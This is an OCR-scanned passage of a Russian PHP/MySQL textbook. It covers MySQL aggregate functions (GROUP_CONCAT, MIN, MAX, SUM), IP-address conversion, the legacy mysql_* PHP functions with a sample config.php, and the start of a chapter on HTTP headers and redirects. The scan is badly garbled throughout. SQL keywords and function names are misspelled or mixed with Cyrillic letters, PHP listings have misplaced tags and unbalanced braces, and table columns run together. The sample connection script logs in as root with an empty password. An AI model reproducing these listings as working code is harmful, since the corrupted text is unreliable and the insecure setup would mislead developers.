гла ва 2. Работа с СУБД MySQL - 197 пр и водится пример использования функции GROU P_CON CAT ( ) для пол я id_ c a talog таблицы produc ts (см . листи нг 2.104). листи нг 2.1 14. Использование фун кции GROUP_CONCAT () SgLECT GROUP_CONCAT (id_catalog ) FROM products ; +-- --- ---------------------+ I GROUP_CONCAT (id_c atalog ) I + - - - - - -- ----- --------------+ 1 1,1,1,2 ,2,3,4,5,5 +--------------------------+ При передаче в качестве аргумента имени числ ового столбца его значения автоматически преобразуются к текстовому типу. Ключевое слово DIST INCT требует вернуть только уникальные значения столбца, а ключевое слово SEPARATOR позволяет задать в качестве раздел ите­ ля значений произвольный символ. В листинге 2. 1 15 представлен запрос, из­ влекающий уникальные значения стол бца id_catalog табл ицы products С использованием в качестве разделителя символа 11 -11. Листинг 2.1 15. Использо в а ние ключевых слов DISTINCT и SEPARATOR SELECT GROUP_CONCAT (DISTINCT id_catalog SE PARATOR ' - ' ) FROM catalogs ; + -------------------------------------------------+ I GROUP_CONCAT (DI STINCT id_catalog SEPARATOR ' - ' ) I +- - -------------------- --------- ---- --------------+ I 1-2-3 -4-5 +-------------------------------------------------+ Ключевое сл ово ORDER ВУ позволяет отсортировать значения в рамках воз­ вращаемой строки. Отсортируем знач ения, представленные в листи нге 2.115 , в обратном порядке (листи нг 2.1 16). Листинг 2.1 16. Использование ключевого слова ORDER ВУ SELECT GROUP_CONCAT (DISTINCT id_catalog ORDER ВУ id_catalog DESC SEPARAТOR '-') AS str FROM catalogs ;
198 +-----------+ I str +-----------+ I 5-4-3-2-1 I +-----------+ Часть 1. Общие вопр ос/:,/ -- -- в листинге 2. 117 возвращается список цен (в порядке убывания) на товары ИЗ каждого раздел а катал ога. Листинг 2.1 17. Список цен на то вары по разделам катал ога SELECT GROUP_CONCAT (price ORDER ВУ price DE SC) FROM products GROUP ВУ id_ca talog ; +------------------- ----------------------+ I GROUP_CONCAT (price ORDER ВУ price DE SC) I +-----------------------------------------+ 6000 .00, 4856 . 00, 3523 .00 2050.00, 1845 .00 3670 .00 4210 .00 1500 .00, 1028 .00 +-----------------------------------------+ 2.23.5.5. Поиск минимального и максимального значений Дл я поиска минимального значения в стол бце expr предназначена функция MIN (), которая имеет следующий синтакс ис: MIN ([DISTINCT ] expr) В качестве аргумента expr обычно выступает имя стол бца. Необязател ьное ключевое сл ово DISTINCT позволяет дать указание СУБД MySQL обрабаты­ вать тол ько уникальные значения стол бца expr. В листинге 2.1 18 приводится пример запроса, который ищет в табл ице products (см . листинг 2.104) минимальную цену.
(пава 2. Работа с СУБД MySQL - ЛI1СТИНГ 2.1 18. Использование функции МТМ ( ) SБLEСТ МIN (price) FROM products; +- --- - --- ----+ I мrN(price) I +---- ------ --+ 1028 .00 I +--- - ---- ----+ 199 Исп ользование конструкции GROU P ВУ id_catalog позволяет найти мини­ мал ьную цену для каждого из раздел ов катал ога (л истинг 2. 1 19). Листинг 2.1 19. Использование функции МТМ () совместно с конструкцией GROUP ВУ SБLEСТ id_c atalog , МIN (price) FROM products GROUP ВУ id_catalog ; +-- - ----- ----+ ------ - -----+ I id_ catalog I MIN (price ) I +-- ----------+------------+ 1 3523 .00 2 1845 .00 3 3670 .00 4 4210 .00 5 1028 .00 +-- ----------+------------+ Как видно из резул ьтатов запроса, товар с минимальной ценой находится в пятом раздел е катал ога. ЗАМЕЧАНИЕ Функцию MIN () можно использовать также со СТРОКОВblМИ столбцами. В этом случ ае возвращается минимальное лексикографическое значение. Для поиска максимального значения в стол бце expr предназначена функция МАХ ( ) , которая имеет следующий синтаксис: МАХ ([DISTINCT ] expr) В кач естве аргумента expr обычно выступает имя столбца. Необязател ьное кл ючевое сл ово DIST INCT позволяет дать указание СУБД MySQL обрабаты­ вать только уникальные значения стол бца expr. В листинге 2.120 демонстрируется использование функции МАХ ( ) •
200 Часть 1. Общие вопрось/ Листинг 2,1 20. Использование функции МАХ () SELECT МAX(price ) FROM products ; +------------+ I МАХ (price) I +-- -- ------- -+ 6000 .00 I +------------+ SELECT id_catalog , МAX(price ) FROM products GROUP ВУ id_catalog ; +------------+- -----------+ I id_cata1og I МАХ (price ) I +------------+--------- ---+ 1 6000 .00 2 2050 .00 3 3670 .00 4 4210 .00 5 1500 .00 +------------+-- ----------+ 2.23.5.6. Сумма стол бца Сумму столбца expr позволяет подсч итать функция SUM ( ), которая имеет следующий синтаксис: SUМ ([DISТINCT j expr) Если возвращаемый набор данных не содержит ни одной строки, то фун кция возвращает NULL. Необязател ьное ключевое слово DISTINCT позволяет потре­ бовать от СУБД MySQL обрабатывать тол ько уникальные значения столбца expr. В листинге 2.121 приводится пример использования функции SUM () . Листинг 2.1 21 . Использование функции SUМ () SELECT SUМ (price ) FROM products ; +------------+ I SUМ(price) I +------------+ 28682 .00 I +------------+ SELECT id_catalog , SUМ (price ) FROМ products GROUP ВУ id_catalog ; +------------+ ------------+
(лава 2. Работа с СУБД MySQL - 201 I id_catalog I SUM (price ) I +---- - --- ---- + -------- ----+ 1 14379 .00 2 3895.00 3 3670 .00 4 4210 .00 5 2528 .00 +---- - ----- --+ ------- --- - -+ 2.23.6. Разное в аНГЛОЯЗЫЧНОЙ литературе этот вид ФУНКЦИЙ обозначается как Miscel la­ пеоus-функции, что переводится как смешанные функции, т. е. функции, ко­ тор ые не поддаются классификации. Список ФУН КЦИЙ данной категории п редставлен в табл . 2.18. Таблица 2. 18. Мisсеllа пеоus-функцuu My SQL Фун кция Описание DEFAULT ( col_пате) Возвращает значение по умолчанию для стол бца col_name, кото рое назначается при помощи кл ю- чевого сл ова DEFAU LT GET_LOCK (st r, time - Пред назначена для получения блокировки для out) имени s tr со временем ожидания ответа сервера timeout секунд и возвращает 1 (истина) в случае успешной уста новки блокировки на имя s tr И О (ложь ), если время ожида ния oTBeta превысило величину timeout I NET_ATON (address) Принимает IР-адрес addre ss и предста вляет его в виде целого числа I NE T_NTOA (address) Принимает IР-адрес в виде числа (резул ьтат вы- полнения функции INET_ATON ()) и возвращает адрес в виде стро ки, состоящей из четырех чисел , разделенных точкой I S_FRE E _LOCK (st r) Проверяет, свободна ли блокировка с именем str, кото рая устанавливается при помощи функции GET_LOCK ( ) , рассмотренной ранее. Функция воз- вращает 1 (истина), если блокировка свободна (никем не используется), и О (ложь) , есл и занята
202 Часть 1. Общие вопросы Та блица 2. 18 (око нчание) Фун кция Описание IS_U SED_LOCK (str) Проверяет, установлена ли блокировка с именем str. В случ ае, есл и блокировка установлена , функция возвращает иденти фикатор соединения кл иента , кото рый удержи вает блокировку. Если блокировка не установлена, возвращается NULL NAМE CONST (name , Возвращает знач ение параметра va 1 ие, назнача я - va lue) В качестве имени стол бца строку пате RELEASE LOCK (str) С нимает бл окировку с и менем str, кото рая была - установлена функцией GET_LOCK ( ) . Функция воз- вращает 1 (истина) , есл и блокировка успешно сня- та , О (ложь) , есл и блокировка установлена други м потоком и не может быть снята , и NULL, если бло- кировка с та ки м и м енем не существует SLEEP (dura иоn) Останавливает работу на врем я, равное кол ичест- ву секунд , указанному в параметре dura tion (зна- ч ение параметра может быть как целым, так и дробным, с то чностью уч итывается до микросе- кунд) . В случ ае успешного выполнения функция возвращает значение О, если работа функци и пре- рывается , возвращается 1 ИИIО () Возвращает уни версальный уникальный иденти- фикато р (Universal Unique Identifier, UUID). иден- тификатор UUID реализован в виде числ а, кото рое является гл обально уникальным во времени и пространстве . Два вызова функци и ИИШ () вернут два разных знач ения, если они производятся од- новременно на двух разных ко мпьюте рах или на одном и то м же компьюте ре в разное время 2.23.6.1 . Преобразование IР-адреса <Dункция INET_ATON (address) принимает IР-адрес address И представл яет его в виде целого числа (л истинг 2.122). Для числа ххх . УУУ . zzz . www резуль­ тат функции вычисляется по формуле: хххх2563+УУУХ2562+zzzХ256+www.
Глава 2. Работа с СУБД My SQL 203 ЗАМЕЧА НИЕ Для того чтобы можно было поместить в целочисленное поле весь диапа­ зон IP-аАресов, следует использовать тип ВIGINT. Листинг 2. 1 22 . Использова ние функции INET_ATON () SELECT INET_ATON ( ' 62 .14 5.69.10 ') , INET_ATON ( '12 7.0.0.1') ; +- --------------------------+- - - - -------------- ------+ I INET_ATON('62.145. 69 . 1 0') I INET_AT ON('12 7.0 .0.1') I +---------------------------+ ------------------------+ 104 9707786 I 21307 06433 I +---------------------------+------ ------------ ------+ Нач иная с версии 4. 1 .2, функция INET_ATON () способна принимать IР-адреса в сокращенной форме, как показ ано в листинге 2. 123. Листинг 2.123. Работа с сокращенной формой IР-адреса SELECT INET_ATON ( ' 127 .0 .01 ') , INET_ATON('127 .1 ') ; +-----------------------+--------------------+ I INET_ATON('127 .0.01' ) I INET_ATON('12 7.1') I +-----------------------+--------------------+ 2130706433 I 2130706433 I +-----------------------+--------------------+ Функция INET_NTOA (address) принимает IP-aдpec в виде числа (резул ьтат выпол нения функции INET_ATON ( ) ) и возвращает адрес в виде строки, со­ стоящей из четырех чисел, разделенных точкой (л истинг 2. 124). Л истинг 2.124 . Работа с фУ �lкцией INET_NTOA () SELECT INET_NТOA(1049707786) , INEТ_NТОА(21ЗО7064ЗЗ) ; +-----------------------+-----------------------+ I INET_NTOA (1049707786) I INET_NTOA (2130706433 ) I +-----------------------+-----------------------+ I 62 .145 .69 .10 I 127 . О.0.1 +-----------------------+-----------------------+
204 Часть 1. Общие вопрось/ 2.24 . РНР и MySQL Библ иотека рhр_шуsq\ предоставляет кл ассический файловый интерфейс к СУБД MySQL. На заре программирования, когда только устанавл ивались традиции современных программных интерфейсов, было принято кажд ый объект рассматривать как файл : фрагмент памяти на жестком диске - файл; катал ог - файл, хранящий список других файлов; внешнее устройство ил и сетевая карта - это тоже файл, тол ько специал ьного типа. Такой подход по­ зволял использовать для всех операций привычную каждому программисту схему взаимодействия : 1. Открыть ресурс. 2. Записать или прочитать из ресурса данные. 3 . Закрыть ресурс. Одновременно может быть открыто нескол ько ресурсов (файлов). Чтобы от­ личать их друг от друга, испол ьзуются специальные объекты - дескрипто­ ры, при помощи которых можно получать доступ к тому ил и иному ресурсу. Благодаря дескрипторам можно од новременно работать сразу с нескол ькими открытыми источникам и без ко нфликтов и опасности перепутать один ре­ сурс с другим. При работе с MySQL из РНР испол ьзуются два вида дескрипторов: D дескриптор с оединения - идентифицирует соединение с сервером: на­ пример, если одним приложением одновременно открыты соединения с двумя различными серверам и, то для направления запроса по нужному адресу оно будет хранить два разных дескри пто ра, которые и будет передавать функциям в качестве параметра. Получить два дескриптора дл я одного и того же сервера с одинаковыми параметрами подключения нел ьзя - в этом случае библ иотека вернет уже существующий деск­ рипто р; D дескриптор результирую щей таблицы - предназначен дл я доступа к резул ьтату выполнения запроса. Взаимодействие РНР-приложения и сер­ вера MySQL происходит по кл иент-серверной технологии: приложе ние отправляет серверу SQL-запрос, на который тот возвращает результи­ рующую таблицу, идентифицируемую дан ным дескриптором . Резул ьти ­ рующая таблица, в свою очередь, представляет собой ресурс, по кото ро­ му можно осуществлять навигацию: устанавл ивать курсор в начало таблицы и перемещаться по записям.
гл ава 2. Работа с СУБД MySQL 205 - РасСМОТР ИМ кратко жизненный цикл программы, обращающейся к серверу MySQL . В первую очередь следует установить соединение с сервером при помощи функции my sql_connect (), кото рая имеет следующий синтаксис: re source mysql_connect ([$ server [, $us ername [, $pa ssword [, $new_link [, $client_fl ags] ]]]]) Эта функция устанавл ивает соединение с сервером MySQL, сетевой адрес которого задается параметром $server. Вторым и третьим аргументам и это й фун кции являются имя пользователя базы данных $username и его парол ь $p a s s word соответственно . ПО ум олчанию повторный вызов функции my sql_connect () С те ми же аргу­ мента м и не приводит к установлению нового соединения, вместо этого функция возвращает дескриптор уже существующего соединения. Если чет­ вертому параметру $n ew_link присвоить значение TRUE, будет открыто новое соединение с сервером. Параметр $client_ fl ags должен быть комбинацией из сл едующих констант: О MYSQL_CLIENT_COMPRE SS - предписывает испол ьзование протокола сжа­ тия при обмене информацией между сервером и клиентом; О MYSQL_CLIENT _IGNORE_S PACE - В SQL-запросах после имен функций раз­ решается использование пробелов; О MYSQL_CLIENT_INTERACT IVE - ждать interactive_t ime out секунд до за­ крытия соединения, есл и между сервером и клиентом не происходит об­ мен данными; о MYSQL_CLIENT _S SL - использовать при соединении с сервером защищен­ ный SSL-канал. ЗАМЕЧАНИЕ Все аргументы функции являются необязательными. В случае их отсутст­ вия по умолчанию для этой фун кции устанавливаются следующие пара­ метры: $server = 'localhost:3306 ', username принимает значение вла­ дел ьца процесса сервера , а $pa ssword - принимает пустую строку. в случае успеха данная функция возвращает дескриптор соединения с серве­ ром, при неудаче возвращает значение false. После того как соединение установлено, необходимо выбрать базу данныхлри п ом ощи функции my sql_s elect_db (), которая эквивалентна вызову команды USE в консольном клиенте mys ql. Функция имеет следующий синтаксис: bool mysql_s elect_db ($da taba se_name [, $link_iden tifier] )
206 Часть 1. Общие в ОПРОСЬt Функция принимает в качестве ар гументов название выбираемой базы дан­ ных $da taba se_name и дескри птор соединения $link_iden tifier, который ран ее был возвращен функцией my sql_connect ( ). Фун кция воз вращает true при ус пешном выполнении операции и fa lse - В проти вном случае . После того как соединение установлено и выбрана база данных, с которой будет осуществляться дальнейш ая работа, можно отправлять серверу SQL­ запросы. Данную операцию можно осуществить при помощи функци и my sql_query (), которая имеет следующий синтаксис: resource mys q l_que ry ($query [, $link_iden tifier] ) Первый аргумент функции представляет собой строку с запросом $qu ery, второй ( $link_iden tifier) - дескриптор соединения, возвращаемый функ­ цией mys ql_conne ct ( ) . ЗАМЕЧАНИЕ При передаче запроса функци и my sql_que ry () точку с запятой в конце за­ проса , обязател ьную при работе с кл иентом mys ql, можно не ста вить. Данная функция возвращает дескри птор результирующей табл ицы в случае успеха и fa lse - В случае неудачного выполнения запроса. Важно понимать, что об ошибках, которые происходят на сервере MySQL, и н те рпретатор РНР не подозревает и не выводит никаких сообщений (как это происходит обычно с ошибками в РНР-коде), поэто му следует обрабатывать каждый SQL-запрос на предмет ошибок. Получи ть сообщен ие об ошибке можно при помощи функции my sql_e rro r (). Дескриптор резул ьтирующей табл ицы, возв ращаемый функци ей my sql_qu ery ( ), испол ьзуется далее для получения значений, возвращаемых СУБД. Обычно это осуществляется при помощи одной из пяти функций: mysql result ( ) , m� sql fetch_row (), my sql fetch_assoc (), my sql_fetch_a rray () И my sql_fetch_obj ect (). Закрытие соединения прои зводится при помощи функции my sql_close (). Ее синтакс ис представл ен ниже : bool my sql_close ([$link_ iden tifier] ) В качестве необязател ьного параметра функция принимает дескри птор от­ крытого соединения $link_iden tifier. Если этот параметр не указан, закры­ вается последнее откр ытое соеди нение. Функция возвращает true В случае успеха и fa lse при возникновении ошибки.
глава 2. Работа с СУБД MySQL :- -- 207 Закр ы в ать соеди нение в РНР не обязател ьно, так как скрипт работает непро­ долж ительное время, а после завершения его работы соеди нение закры вается а втом ати чески. соберем в единое приложе ние все расс мотренные выше функции. Операция устан овки соединения с СУБД MySQL будет испол ьзо ваться очень часто, п оэто му выдел им ее в отдел ьный РНР-файл cOl1fig.pllp (л истинг 2. 125). листинг 2.1 25. Уста новка соеди нения с MySQL-сервером (config.php) <?php / / Адрес сервера MySQL $dblocation = "localho st" ; / / имя базы данных на хо стинге или локальной машине $dbnarne = "test "; // имя поль зователя базы данных $dbus er = "root"; // и его пароль $dbpasswd = ""; // Устанавливаем соединение с базой данных ' $ dbcnx = @rnysql connect ($dblocation, $dbuser, $dbpasswd) ; if (!$dbcnx ) ?> exit ( "<Р>В настоящий моме нт сервер базы данных не доступен , поэтому корректное отображение страницы невозможно .</Р>" ); } // Выбираем базу данных if (! @rnys ql_s elect_db ($dbnarne , $dbcnx ) ) ( exit ( "<Р>В настоящий момент база данных не доступна , поэтому корректное отображение страницы невозможно .</Р>" ); // Устанавливаем кодировку соединения . Следует выбрать ту кодировку, // в которой данные будут отправляться MySQL- серверу @rnysql_query ("S ET NAМE S 'cp1251 "' ) ; Как видно из листи нга 2.125, после установки соеди нения при помощи функ­ ции rnysql connect () И выбора базы данных при помощи функции mys ql select db () MySQL-серверу отп равляется запрос "SET NA[V]ES
208 Часть 1. Общие вопр ось/ - 'ср1251 ' " . Данный запрос сообщает, что все передаваемые на сервер даН НЫе будут представлены в кодировке Wil1dows- 1251, и MySQL-сервер, в свою очередь, в како й бы кодировке ни хранились данные в табл ицах, долже н представлять результат в кодировке Wiпdоws- 1251. В листинге 2. 126 приводится пример, возвращающий версию MySQL­ сервера. Файл config.pi1p включается в скрипт при помощи ко нструкци и requi re_once (). ЗАМЕЧАНИЕ Для получения версии сервера MySQL используется информационная функция VERS ION () . Л истинr 2.1 26. Получение версии MySQL-сервера <?php ?> // Устанавливаем соединение с базой данных require_once ("config .php ") ; // Формируем и выполняем SQL-запрос $query = "SELECT VERS ION()"; $ver = rnysql_query ($query) ; // Пр оверяем правильно сть выполнения запроса if ( !$ve r) exit ("Ошибка выполнения запроса " .rnysql_error () ); // Получаем резуль тат выполнения запроса echo rnys ql_result ( $ver , О) ; Более полный список функций расширения РНР, предназначенного для рабо­ ты с СУБД MySQL, представлен в табл . 2. 19. Та блица 2. 19. Фун кции РНР для взаимодействия с MySQL Фун кция Описан ие rny sql_affected_rows В случ ае успеха возвращает количество ( [$l ink_iden tifierJ ) записей , затронутых операторами DELETE , UPDATE и RE PLACE, В случае неудачи воз- вращает -1
глава 2. Работа с СУБД MySQL -- .- ФУНКЦИЯ 1- my s ql_change_u s er ( $user, $password [ , $da taba se [, $li nk_iden tifier] ]) mys ql_client_encoding ([$ link_iden tifier] ) mys ql_close ([$link_iden tifier] ) mys ql_c onnect ([$ server [, $username [, $pa ssword [, $new_link [, $cli - ent_flags]]]]]) mysql_data_s eek ($resul t, $row_n umber) mysql_db_name ($resul t, $row[, $field] ) my sql_db_que ry ( $da taba se, $query[, $l i nk_iden tifier] ) my sql_e rrno ([$link_iden tifier] ) my sql_error ([$link_iden tifier] ) my sql_escape_s tring ( $unescaped_string) 209 Та блица 2. 19 (продолже ние) Описание Позволяет изменить пара метры соедине- ния (имя MySQL-пользователя $user, его пароль $pa ssword, название текущей базы данных $da taba se) . Возвращает true В случае успеха и false - В противном случ ае Возвращает текущую кодировку соедине- ния, кото рую извлекает из системной переменной MySQL - ch aracter_se t Закрывает соединение с сервером MySQL Открывает соединение с сервером MySQL и возвращает дескрипто р соеди нения в случае успеха и false - В противном случ ае Перемещает ку рсор результирующей таб- лицы $result в позицию $row_n umber (нумерация позиций начинается с О). Возвращает true В случае успеха и false - В противном сл учае Возвращает имя базы данных с номером $row при обработке резул ьтата выполне- ния функции my sql_l ist_db s (), кото рая возвращает список доступ ных баз данных Переключается на базу данных $da taba se и выполняет запрос $qu ery. Возвращает дескр иптор резул ьти рующей табл ицы в случ ае успеха и false - В сл учае неуда чи Возвращает номер ошибки для последней операции Возвращает текстовое сообщение об ошибке для последней операции Экранирует специальные символы для SQL-запроса , который передается функ- ции my sql_que ry ( )
210 Фун кция rny sql_fetch_array ($resul t[, $resul t_ type] ) rny sql_fetch_a s soc ( $resul t) rny sql_fetch_fi eld ( $result [, $field_offset] ) rny sql_fetch_l engths ( $resul t) rny sql_fetch_obj ect ( $resul t[ , $сlаss_паmе [, $p arams ] ] rny sql_fetch_row (resul t) rny sql_f ield_flags ( $res ul t, $field_offse t) rny sql_field_len ($resul t, $field_ offs e t) rny sql_f ield_narne ($re sul t, $field_ offs e t) Часть 1. Общие вопрось/ -- Таблuца 2. 19 (продолже ние) Описани е Возвращает текущую запись результи- рующей таблицы $resul t В виде ассоциа- тивного, числ ового или смешанного мас- сива в зависимости от значения $resul t_ type Возвращает текущую запись резул ьти- рующей таблицы $resul t В виде ассоциа- тивного массива Возвращает информацию о стол бце ре- зультирующей табл ицы $resul t В виде объекта . При первом вызове возвращает- ся информация о первом стол бце, при по- следующих - о следующих по порядку стол бцах. Информацию о произвол ьном стол бце II/IОЖН О извлечь, воспользовав- шись смещением $field_offset (нуме- рация стол бцов начинается с О) Возвращает дл ину каждого поля резул ьти- рующей табл ицы $resul t В виде массива Возвращает текущую запись резул ьти- рующей табл ицы $resul t В виде объекта Возвращает текущую запись резул ьти- рующей табл ицы $resul t В виде числово- го масси ва Возвращает параметры поля результи- рующей табл ицы $resul t, смещенного от начала на позицию $field_offset (нуме- рация полей начинается с О) Возвращает длину поля резул ьтирующей табл ицы $resul t, смещенного от начала на позицию $field_offs et (нумерация полей начинается с О) Возвращает имя поля в резул ьтирующей табл ице $resul t, смещенного от начала на позицию $field_offs et (нумерация полей начинается с О)
гл ава 2. Работа с СУБД MySQL :. .:--- - фуН КЦИЯ - . my s ql_fleld_s eek($resul t, $fi e l d_offset) f- mys ql_field_table ( $res ul t, $field_ offset) mysql_field_t ype ($res ul t, $fiel d_ offse t) my sql_free_ result ($resul t) my sql_g et_c lient_info () mysql_get_host_info ( [$link_ iden tifier] ) mysql_get_proto_info ([$l i nk_iden tifier] ) mys ql_get_s erve r_info ( [$link_ iden tifier] ) mysql_in fo ( [$link_ iden tifier] ) mysql insert id - - ( [$l ink_iden tifier] ) 211 Та блuца 2. 19 (продолжение) Описание Устанавливает ку рсор резул ьти рующей табл ицы на поле, указанное в смещении $field_ offs e t (нумерация полей начина- ется с О) Возвращает имя табл ицы, которому при- надлежит поле со смещением $field_offset (нумерация полей начина- ется с О). Функция пред назначена для раз- бора резул ьти рующей табл ицы многотаб- личного запроса Возвращает тип данных (INT, CHAR , ТЕХТ и т. п .) поля резул ьтирующей табл ицы $resul t, смещенного относител ьно нача- ла на позицию $field_offset (нумерация полей начинается с О) Освобождает память , выделенную под резул ьти рующую табл ицу $resul t. После вызова функции резул ьтирующая табл ица не доступна Возвращает строку с версией кл иентско й библиотеки Возвращает адрес MySQL-се рвера и тип соединения Возвращает верси ю протокол а вза имодей- ств ия кл иента и MySQL-сервера Возвращает версию MySQL-сервера Возвращает информацию о посл еднем запросе, кол ичество затронутых стол бцов, предупреждений и т. п. Возвращает первичный кл юч, сгенериро- ванный при последнем INSERt-запросе по механизму AUTO_ INCREMENT
212 Часть 1. Общие в опрось/ - Та блица 2. 19 (продолжен ие) Фун кция Описание my sql_l ist_db S Возвращает список баз данных, доступных ([$link_iden tifier] ) текущему кл иенту mysql_l ist_fields Возвращает список полей табл ицы ( $da taba se_name, $ta- $tabl e_name базы данных Ые_паmе [, $da taba se_name $link_iden tifier] ) my sql_l ist_p rocesses Возвращает список процессов MySQL, ( [$link_iden tifier] ) доступных текущему кл иенту my sql_list_t ab les ( $da taba se Возвращает список таблиц базы данных [, $link_iden tifier] ) $da tabase mу sql_nuш_fiеldS ( $rеsul t) Возвращает кол ичество полей в резул ьти- рующей табл ице $res ul t mуsql_nuш_rоwS ($rе sult) Возвращает кол ичество строк в резул ьти- рующей табл ице $res ul t mysql_pconnect ([$server [, Открывает постоянное соединение с сер- $username [, $pa ssword [ , вером MySQL и возвращает дескриптор $clien t_flags] ] ] ] ) соеди нения в случ ае успеха , в проти вном случае возвращается fa lse mysql_ping П роверяет соединение с сервером и, если ([$link_iden tifier] ) оно отсутствует, осуществляет повто рную попытку соединения mys ql_que ry ( $query[, Отправляет серверу SQL-запрос $link_iden tifier] ) my sql_real_escape_s tring Э кра нирует специаль ные символы для ($unescap ed_string [, SQL-запроса , кото рый передается функ- $link_iden tifier] ) ции my sql_qu ery ( ) my sql- result ($res ul t, Возвращает значение поля с позицией $row[ , $field] ) $row в текущей записи резул ьтирующей табл ицы $resul t my sql_s elect_db Позволяет выбрать текущую базу данных ($da taba se_name [, $da taba se_name $link_iden tifier] )
глава 2. Работа с СУБД My SQL 213 - Таблица 2. 19 (окончание) .- ФУН КЦИЯ Описание mys ql_s tat Возвращает массив, соде ржащий инфор- ( [ $link_ iden tifier] ) мацию о состоянии MySQL-сервера my s ql_t ab lenarne ($resul t, Возвращает имя табл ицы с номером $i из $i) списка, полученного при помощи функции rnysql_l ist_t ab les() mysql_thread_id Возвращает уникальный идентификатор ([$l ink_ iden tifier] ) текущего потока mysql_unbuffered_query Отправляет SQL-запрос MySQL-серверу ($query) без авто обработки резул ьтата и его буфе- ризации
ГЛАВА 3 Протокол нттр Протокол - это набор синтаксических и семантических правил, испол ьзую­ щихся при обмене данных между двумя компьютерами, который определ яет команды, их синтаксис и порядок отправки, а таюке очередность отправки команд. Хотя протокол ов взаимодействия очень много, Web-разработчики в основном имеют дело с прикладными протоколами и в первую очередь с НТТР-протоколом, который служит для обмена информацией между Web­ сервером и браузером (клиентом). ЗАМЕЧАНИЕ Все стандарты в сети Интернет оформля ются в виде RFС-документов; та к , прото кол НПР описывается гл авным образом в RFC2616. С сылки на него можно пол учить при помощи любой поисковой системы. Работа прото кола НТТР не сводится только к передаче сервером HTML­ документа rfo запросу кл иента . Помимо НТМL-документа, файла или изо­ бражения браузер и сервер обмениваются НТТР-заголовками, через которые клиент может сообщить о своих предпочтениях, типе и версии браузера и операционной системы. Сервер, в свою очередь, может сообщить клиенту об ошибочном запросе, "попросить" его установить cookie и т. п . Язык разметк и HTML и серверный язык РНР разрабаты вались таким образом, чтобы разра­ ботчик мог работать без знания НТТР - это позвол ит отделить уровни про­ токола и Web-приложения друг от друга. Тем не менее, совершенно абстра­ гироваться от протокола НТТР не удается, так как его испол ьзовани е зачастую позволяет более гибко управлять работой Web-приложения. В связи с этим в РНР введе но несколько инструментов управления протоколом НТТР, которые будут обсуждаться далее в это й гл аве: LJ функции дл я работы с НТТР-заголовками; LJ функции дл я установки сессий и cookie;
гл ава З. Протокол нпр - LI сокеты; LI библиотека CURL. 215 ПОМИМО это го, будет рассмотрен смежный вопрос преобразования IР-адресов и дом енных имен. 3.1. Фун кции для работы с НТТР-заголовками в ответ на запрос серверу кл иент получает НТТР-документ, который состоит из НТТР-заголовков и тела документа, содержаще го, как правило, HTML­ страницу или изображение (рис. 3.1). НТТР-документ НТТР/1 .1 200 ОК Host: ww w .s ottime гu Content-Length: 2391 3 Connection: Close <HTML> <НЕАО> <title> IT-студия SoftTlme:/title> Рис. 3 .1 . НПР-документ состоит из НПР-заголовков и тел а документа НТТР-заголовки, как правило, формируются сервером автоматически и в большинстве случаев Web-разработч ику нет надобности отправлять их вруч­ ную . Впрочем, последнее справедливо только дЛЯ РНР, тогда как, например, при создании СGI-программы при помощи Perl или С разработч ик вынужден самостоятел ьно реализовывать эту часть НТТР-прото кола. ЗАМЕЧАНИЕ НПР-документ м ожет не содержать тела документа , однако всегда содер­ жит НПР-за головки.
216 Часть 1. Общие в ОПРОСЬf Брауз ер, получая НТТР-загол овки, авто матически вы пол няет предписан ия , даже не показывая посетителю их содержимое. Таки м образом, НТТР _ заголовки служат своеобразной метаи нформаци ей, которой сервер и клие нт обмениваются скрыто . Впрочем, иногда необходимо вмешиваться в эту скрытую часть работы кл иента и сервера, поскол ьку она управляет многими важными процессами, такими как переадресация, кэ ширование, ауте нтифи­ кация и т. п . Кроме того, скрипты сами могут выступать в рол и кл иентов, об­ ращаясь к страницам других сайтов: в этом случае они вынуждены брать на себя всю работу по реализации и обработке НТТР-протокола. Дл я управления НТТР-загол овкам и в РНР предназначены функции, пред­ ставленные в табл . 3.1 . Таблица 3.1. Функции для управления НТТР-заголовками Фун кция Описан ие header () Отправляет НТТР-заголовок heade rs list () Возвращает список отправленных или гото вых к от- - правке НТТР-заголовков heade rs sent () Проверяет, отправлены ли НТТР-заголовки - Функция heade r ( ), позволяющая отп равить кл ие нту произвольный НТТР­ заголовок, имеет следующий синтаксис: header ( $header [, $replace [, $http_respons e_code ]]) Данная функция отправляет НТТР-загол овок $header. Второй параметр $replace определ яет поведение инте рпретато ра РНР, есл и тот встречает два одинаковых заголовка: если параметр принимает значение true, отп равляет­ ся последний заголовок, в противном случае - отправляется первый загол о­ вок. Третий параметр $http_re sponse_code позволяет задать код возврата НТТР . Простейшей процедурой, которую можно осуществить при помощи функции header ( ), является переадресация, осуществляемая при помощи НТТР­ заголовка Location. В листинге 3.1 представлена переадресация на гл авную страницу сайта http ://ww w .softtime.ru.
гл ава З. Пр отокол нттр 217 - ЗАМЕЧАНИЕ Вместо полного сетевого адреса (начинающегося с префикса http://) можно использовать относител ьные адреса: в это м случае браузер сам подста вит адрес саЙта . Листинг 3.1 . Переадресация при по мощи НТТР-за головка Location <?php heade r ("Location : http:/ /ww w .SOfttime .ru'') ; ?> Вообще говоря, меха низм НТТР-заголовков дубл ирован в языке разметки нттР и добиться схожего поведения можно при помощи передач и НТТР­ заголовка через МЕТА-тег (л исти нг 3.2). Листинг 3.2 . Переадресация средствами HTML <HmL> <HEAD> <МЕТА HTTP-ЕQU IV= 'Rеfrеsh ' CONTENT= 'O; URL=http :// ww w .softtime.ru.> </НEAD> </HTML> Если в качестве второго параметра передать функции header () значе­ ни е true, то все предыдущие НТТР-загол овки с таким же именем будут заменяться последующими. В листинге 3.3 переадресация на сайт http://www .softtime.ru игнорируется, и посетитель будет направлен на сайт http://www .softtime.biz. Листинг 3.3 . Переадресация на сайт http://www.soft t ime.biz < ?php ?> he ade r ("Location : http : //ww w . softtime.ru.., true); he ader ("Location : http : //ww w . softtime .biz.. , true ) ; На каждый запрос кл иента сервер может возвращать HTTP-КОд состояния, отражающий вид переадресации при окончательном йли временном переме­ щен ии документа . Если документ найден и успешно отправлен кл иенту, в НТТР-заголовки помещается код состояния 200; есл и документ не найден - 404; в случае переадресации, представленной в листи нге 3.3, кл иенту отп рав-
